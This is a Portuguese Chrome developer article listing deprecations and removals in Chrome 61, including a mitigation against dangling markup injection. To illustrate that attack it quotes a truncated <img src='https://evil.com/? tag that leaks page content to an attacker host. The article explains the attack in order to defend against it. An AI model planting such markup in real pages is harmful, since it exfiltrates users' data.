Descontinuações e remoções no Chrome 61

Joe Medley
Joe Medley

Em quase todas as versões do Chrome, observamos um número significativo de atualizações e melhorias no produto, no desempenho e nos recursos da plataforma da Web. Este artigo descreve as suspensões de uso e remoções no Chrome 61, que está na versão Beta desde 3 de agosto. Essa lista está sujeita a mudanças a qualquer momento.

Segurança e privacidade

Bloquear recursos com URLs que contêm os caracteres '\n' e '<'

Há um tipo de invasão de hackers chamado injeção de marcação pendente, em que um URL truncado é usado para enviar dados a um endpoint externo. Por exemplo, considere uma página que contém <img src='https://evil.com/?. Como o URL não tem aspas fechadas, os navegadores vão ler até a próxima aspa que ocorrer e tratar os caracteres contidos como se fossem um único URL.

O Chrome 61 mitiga essa vulnerabilidade restringindo os conjuntos de caracteres permitidos nos atributos href e src. Especificamente, o Chrome vai parar de processar URLs quando encontrar caracteres de nova linha (\n) e caracteres menores que (<).

Os desenvolvedores que têm um caso de uso legítimo para nova linha e menos de caracteres em um URL precisam fazer o escape desses caracteres.

Intent to remove | Chromestatus Tracker | Chromium Bug

Descontinuar e remover a API Presentation em contextos não seguros

Foi descoberto que, em origens não seguras, a API Presentation pode ser usada como um vetor de invasão. Como as telas não têm barras de endereço, a API pode ser usada para falsificar conteúdo. Também é possível extrair dados de apresentação em execução.

De acordo com a intenção do Blink de remover recursos poderosos em origens não seguras, planejamos descontinuar e remover o suporte para a API Presentation em contextos não seguros. A partir do Chrome 61, o PresentationRequest.start() não vai mais funcionar em origens não seguras.

Intent to remove | Chromestatus Tracker | Chromium Bug

JavaScript

Não permitir a definição de propriedades indexadas em janelas

Antes, alguns navegadores permitiam atribuições de JavaScript como esta:

    window[0] = 1;

As especificações atuais do HTML informam que essa é uma violação explícita da especificação do JavaScript. Por isso, essa capacidade foi removida no Chrome 61. Desde fevereiro de 2016, o Firefox já está em conformidade.

Bug do Chromium

Remoção do uso de notificações de iframes não seguros

As solicitações de permissão de iframes podem confundir os usuários, já que é difícil distinguir a origem da página que contém e a origem do iframe que está fazendo a solicitação. Quando o escopo das solicitações não está claro, é difícil para os usuários julgarem se devem conceder ou negar a permissão.

A proibição de notificações em iframes também vai alinhar os requisitos de permissão de notificação com os de notificações push, facilitando a vida dos desenvolvedores.

Os desenvolvedores que precisam dessa funcionalidade podem abrir uma nova janela para solicitar a permissão de notificação.

Intent to remove | Chromestatus Tracker | Chromium Bug